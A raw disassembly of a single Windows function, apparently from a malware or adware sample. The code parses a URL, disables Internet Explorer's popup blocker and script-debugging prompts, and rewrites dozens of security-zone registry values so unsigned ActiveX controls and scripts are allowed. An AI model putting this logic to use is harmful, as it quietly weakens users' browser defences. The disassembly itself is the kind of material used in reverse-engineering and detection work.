Function at 0x449c10
Capabilities:
Set registry value
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x4a92f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x5ec
push ebx
push ebp
push esi
mov esi, ecx
push edi
push str.127.000.000.001
lea ecx, [esp + 0x3c]
call fcn.0048f6af
xor ebp, ebp
push 0x4dc430
lea ecx, [esp + 0x44]
mov dword [esp + 0x608], ebp
mov dword [esp + 0x1c], ebp
mov byte [esp + 0x17], 0
call fcn.0048f6af
mov eax, dword [esi + 0xf4]
lea edi, [esi + 0xf4]
mov byte [esp + 0x604], 1
mov esi, 0x4dc430
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x449ca0
test cl, cl
je 0x449c9c
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x449ca0
add eax, 2
add esi, 2
test cl, cl
jne 0x449c78
xor eax, eax
jmp 0x449ca5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebp
je 0x44a1a0
push str.http
mov ecx, edi
call fcn.00487b19
test eax, eax
jl 0x44a1a0
push 0x4dc430
lea ecx, [esp + 0x30]
call fcn.0048f6af
push 0x4dc430
lea ecx, [esp + 0x24]
mov byte [esp + 0x608], 2
call fcn.0048f6af
push edi
lea ecx, [esp + 0x24]
mov byte [esp + 0x608], 3
call fcn.0048f77a
lea eax, [esp + 0x1c]
push 7
push eax
lea ecx, [esp + 0x28]
call fcn.00487a7f
mov eax, dword [eax]
mov esi, str.http:__
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x449d36
test cl, cl
je 0x449d32
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x449d36
add eax, 2
add esi, 2
test cl, cl
jne 0x449d0e
xor eax, eax
jmp 0x449d3b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
lea ecx, [esp + 0x1c]
sete bl
call fcn.0048f641
test bl, bl
je 0x449dbc
lea eax, [esp + 0x1c]
push 4
push eax
lea ecx, [esp + 0x28]
call fcn.00487a7f
push eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x608], 4
call fcn.0048f77a
lea ecx, [esp + 0x1c]
mov byte [esp + 0x604], 3
call fcn.0048f641
mov ecx, dword [esp + 0x20]
lea edx, [esp + 0x1c]
mov eax, dword [ecx - 8]
lea ecx, [esp + 0x20]
add eax, 0xfffffff9
push eax
push edx
call fcn.00487a03
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x608], 5
call fcn.0048f77a
lea ecx, [esp + 0x1c]
mov byte [esp + 0x604], 3
call fcn.0048f641
lea eax, [esp + 0x1c]
push 8
push eax
lea ecx, [esp + 0x28]
call fcn.00487a7f
mov eax, dword [eax]
mov esi, str.https:__
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x449dfb
test cl, cl
je 0x449df7
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x449dfb
add eax, 2
add esi, 2
test cl, cl
jne 0x449dd3
xor eax, eax
jmp 0x449e00
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
lea ecx, [esp + 0x1c]
sete bl
call fcn.0048f641
test bl, bl
je 0x449e81
lea eax, [esp + 0x1c]
push 5
push eax
lea ecx, [esp + 0x28]
call fcn.00487a7f
push eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x608], 6
call fcn.0048f77a
lea ecx, [esp + 0x1c]
mov byte [esp + 0x604], 3
call fcn.0048f641
mov ecx, dword [esp + 0x20]
lea edx, [esp + 0x1c]
mov eax, dword [ecx - 8]
lea ecx, [esp + 0x20]
add eax, 0xfffffff8
push eax
push edx
call fcn.00487a03
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x608], 7
call fcn.0048f77a
lea ecx, [esp + 0x1c]
mov byte [esp + 0x604], 3
call fcn.0048f641
mov eax, dword [esp + 0x20]
xor edi, edi
mov eax, dword [eax - 8]
dec eax
test eax, eax
jle 0x449fdb
mov bl, 0xa
mov ecx, dword [0x4d8094]
mov dword [esp + 0x1c], ecx
test edi, edi
mov byte [esp + 0x604], 8
push edi
jle 0x449f0c
lea edx, [esp + 0x40]
lea ecx, [esp + 0x24]
push edx
call fcn.00487a7f
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x608], 9
call fcn.0048f77a
lea ecx, [esp + 0x3c]
mov byte [esp + 0x604], 8
call fcn.0048f641
lea eax, [esp + 0x44]
push 1
push eax
lea ecx, [esp + 0x24]
call fcn.00487a03
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x608], bl
call fcn.0048f77a
mov byte [esp + 0x604], 8
lea ecx, [esp + 0x44]
jmp 0x449f38
lea ecx, [esp + 0x28]
push ecx
lea ecx, [esp + 0x28]
call fcn.00487a7f
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x608], 0xb
call fcn.0048f77a
mov byte [esp + 0x604], 8
lea ecx, [esp + 0x24]
call fcn.0048f641
mov eax, dword [esp + 0x1c]
mov esi, 0x4d4250
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x449f6a
test cl, cl
je 0x449f66
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x449f6a
add eax, 2
add esi, 2
test cl, cl
jne 0x449f46
xor eax, eax
jmp 0x449f6f
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x449f97
lea ecx, [esp + 0x1c]
mov byte [esp + 0x604], 3
call fcn.0048f641
mov eax, dword [esp + 0x20]
inc edi
mov eax, dword [eax - 8]
dec eax
cmp edi, eax
jl 0x449e95
jmp 0x449fdb
dec edi
lea ecx, [esp + 0x24]
push edi
push ecx
lea ecx, [esp + 0x28]
call fcn.00487a7f
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x608], 0xc
call fcn.0048f77a
lea ecx, [esp + 0x24]
mov byte [esp + 0x604], 8
call fcn.0048f641
lea ecx, [esp + 0x1c]
mov byte [esp + 0x604], 3
call fcn.0048f641
lea edx, [esp + 0x2c]
push 0x4d46f4
lea eax, [esp + 0x28]
push edx
push eax
call fcn.0048f8d6
lea ecx, [esp + 0x20]
lea edx, [esp + 0x28]
push ecx
push eax
push edx
mov byte [esp + 0x610], 0xd
call fcn.0048f870
lea ecx, [esp + 0x24]
mov byte [esp + 0x604], 0xf
call fcn.0048f641
mov edx, dword [esp + 0x28]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push 0
dec ecx
push 0
push ecx
push edx
push eax
push eax
mov ebx, edx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ebp, eax
lea edi, [ebp + ebp + 2]
push edi
call fcn.0048fc5f
mov ecx, edi
mov esi, eax
mov edx, ecx
xor eax, eax
mov edi, esi
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
push esi
rep stosb byte es:[edi], al
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push ebx
push eax
push eax
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp ebp, eax
je 0x44a088
test esi, esi
je 0x44a088
push esi
call fcn.0048fc88
add esp, 4
xor esi, esi
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push 0
mov edi, eax
call dword [sym.imp.ole32.dll_CoInitialize]
mov ebx, dword [sym.imp.ole32.dll_CoCreateInstance]
lea eax, [esp + 0x34]
push eax
push 0x4bc300
push 1
push 0
push 0x4bc2f0
call ebx
lea ecx, [esp + 0x30]
push ecx
push 0x4bc2e0
push 1
push 0
push 0x4bc2d0
call ebx
mov eax, dword [esp + 0x30]
lea ecx, [esp + 0x48]
push ecx
push 2
mov edx, dword [eax]
push eax
call dword [edx + 0xc]
mov edx, dword [esp + 0x5f8]
and edx, 4
cmp dl, 4
jne 0x44a13d
mov eax, dword [esp + 0x5f8]
lea edx, [esp + 0x48]
and al, 0xfb
push edx
mov dword [esp + 0x5fc], eax
mov eax, dword [esp + 0x34]
push 2
push eax
mov ecx, dword [eax]
call dword [ecx + 0x10]
mov eax, dword [esp + 0x34]
push 0
push edi
push 2
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
mov ebp, dword [esp + 0x5f8]
mov eax, dword [esp + 0x30]
or ebp, 4
lea ecx, [esp + 0x48]
mov dword [esp + 0x5f8], ebp
mov edx, dword [eax]
push ecx
push 2
push eax
call dword [edx + 0x10]
jmp 0x44a14c
mov eax, dword [esp + 0x34]
push 0
push edi
push 2
mov edx, dword [eax]
push eax
call dword [edx + 0x24]
mov eax, dword [esp + 0x34]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x30]
push eax
mov edx, dword [eax]
call dword [edx + 8]
test esi, esi
je 0x44a16d
push esi
call fcn.0048fc88
add esp, 4
lea ecx, [esp + 0x28]
mov byte [esp + 0x604], 3
call fcn.0048f641
lea ecx, [esp + 0x20]
mov byte [esp + 0x604], 2
call fcn.0048f641
lea ecx, [esp + 0x2c]
mov byte [esp + 0x604], 1
call fcn.0048f641
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0x14]
push eax
xor ebx, ebx
push 0x20006
push ebx
push str.SoftwareMicrosoftInternet_ExplorerNew_Windows
push connect
call esi
mov ebp, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp eax, ebx
je 0x44a1d6
mov byte [esp + 0x13], 1
jmp 0x44a23d
mov edi, 0x4d59c4
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x20]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x3e8
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push 3
push ecx
push 1
push ebx
push str.PopupMgr
push edx
call ebp
cmp eax, ebx
je 0x44a226
mov byte [esp + 0x13], 1
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x14]
push ecx
push 0x20006
push ebx
push str.SoftwareMicrosoftInternet_ExplorerNew_WindowsAllow
push connect
call esi
cmp eax, ebx
je 0x44a25f
mov byte [esp + 0x13], 1
jmp 0x44a291
mov al, byte [esp + 0x13]
test al, al
jne 0x44a291
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x24]
push 4
push edx
push 3
push ebx
push eax
push ecx
mov dword [esp + 0x3c], ebx
call ebp
cmp eax, ebx
je 0x44a28a
mov byte [esp + 0x13], 1
mov edx, dword [esp + 0x14]
push edx
call edi
lea eax, [esp + 0x14]
push eax
push 0x20006
push ebx
push str.SoftwareMicrosoftInternet_ExplorerMain_
push connect
call esi
test eax, eax
je 0x44a2b6
mov byte [esp + 0x13], 1
jmp 0x44a378
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x24]
push 4
push ecx
push 4
push ebx
push str.StatusBarWeb
push edx
mov dword [esp + 0x3c], ebx
call ebp
test eax, eax
je 0x44a2d9
mov byte [esp + 0x13], 1
push 0x4d5acc
lea ecx, [esp + 0x20]
call fcn.0048f6af
mov eax, dword [esp + 0x1c]
mov byte [esp + 0x604], 0x10
mov ecx, dword [eax - 8]
push ecx
push eax
mov eax, dword [esp + 0x1c]
push 1
push ebx
push str.Disable_Script_Debugger
push eax
call ebp
test eax, eax
je 0x44a310
mov byte [esp + 0x13], 1
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax - 8]
push ecx
mov ecx, dword [esp + 0x18]
push eax
push 1
push ebx
push str.DisableScriptDebuggerIE
push ecx
call ebp
test eax, eax
je 0x44a331
mov byte [esp + 0x13], 1
push 0x4d59c4
lea ecx, [esp + 0x20]
call fcn.0048f7ca
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax - 8]
push ecx
push eax
push 1
push ebx
push str.Error_Dlg_Displayed_On_Every_Error
push edx
call ebp
test eax, eax
je 0x44a360
mov byte [esp + 0x13], 1
mov eax, dword [esp + 0x14]
push eax
call edi
lea ecx, [esp + 0x1c]
mov byte [esp + 0x604], 1
call fcn.0048f641
lea ecx, [esp + 0x14]
push ecx
push 0x20006
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings_
push connect
call esi
test eax, eax
je 0x44a39a
mov byte [esp + 0x13], 1
jmp 0x44a3c8
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x24]
push 4
push edx
push 4
push ebx
push str.SyncMode5
push eax
mov dword [esp + 0x3c], 3
call ebp
test eax, eax
je 0x44a3c1
mov byte [esp + 0x13], 1
mov ecx, dword [esp + 0x14]
push ecx
call edi
lea edx, [esp + 0x14]
push edx
push 0x20006
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones1
push connect
call esi
cmp eax, ebx
je 0x44a3ed
mov byte [esp + 0x13], 1
jmp 0x44a51e
mov al, byte [esp + 0x13]
test al, al
jne 0x44a51e
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.1001
push ecx
call ebp
cmp eax, ebx
je 0x44a418
mov byte [esp + 0x13], 1
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.1004
push eax
call ebp
cmp eax, ebx
je 0x44a437
mov byte [esp + 0x13], 1
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.1201
push edx
call ebp
cmp eax, ebx
je 0x44a456
mov byte [esp + 0x13], 1
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.1200
push ecx
call ebp
cmp eax, ebx
je 0x44a475
mov byte [esp + 0x13], 1
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.1405
push eax
call ebp
cmp eax, ebx
je 0x44a494
mov byte [esp + 0x13], 1
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.1803
push edx
call ebp
cmp eax, ebx
je 0x44a4b3
mov byte [esp + 0x13], 1
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.2000
push ecx
call ebp
cmp eax, ebx
je 0x44a4d9
push ebx
mov byte [esp + 0x17], 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.2201
push eax
call ebp
cmp eax, ebx
je 0x44a4f8
mov byte [esp + 0x13], 1
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.2200
push edx
call ebp
cmp eax, ebx
je 0x44a517
mov byte [esp + 0x13], 1
mov eax, dword [esp + 0x14]
push eax
call edi
lea ecx, [esp + 0x14]
push ecx
push 0x20006
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones2
push connect
call esi
cmp eax, ebx
jne 0x44a87c
mov al, byte [esp + 0x13]
test al, al
jne 0x44a87c
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x28]
push 4
push edx
push 4
push ebx
push str.CurrentLevel
push eax
mov dword [esp + 0x40], 0x2710
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x28]
push 4
push ecx
push 4
push ebx
push str.MinLevel
push edx
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.1001
push ecx
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.1004
push eax
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.1200
push edx
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.1201
push ecx
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.1206
push eax
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.1209
push edx
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.1400
push ecx
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.1402
push eax
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.1405
push edx
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.1406
push ecx
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.1407
push eax
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.1601
push edx
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.1606
push ecx
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.1607
push eax
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.1608
push edx
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.1609
push ecx
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.1802
push eax
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.1803
push edx
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.1804
push ecx
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.1805
push eax
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.1806
push edx
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.1809
push ecx
mov dword [esp + 0x30], 3
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.1A02
push eax
mov dword [esp + 0x30], ebx
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.1A03
push edx
call ebp
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.1A10
mov ecx, dword [esp + 0x28]
push ecx
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.2000
push eax
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.2001
push edx
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.2004
push ecx
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.2100
push eax
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.2101
push edx
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.2102
push ecx
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.2200
push eax
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.2201
push edx
call ebp
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.2300
mov ecx, dword [esp + 0x28]
push ecx
call ebp
mov edx, dword [esp + 0x14]
push edx
call edi
lea ecx, [esp + 0x40]
mov byte [esp + 0x604], 0
call fcn.0048f641
lea ecx, [esp + 0x38]
mov dword [esp + 0x604], 0xffffffff
call fcn.0048f641
mov ecx, dword [esp + 0x5fc]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x5f8
ret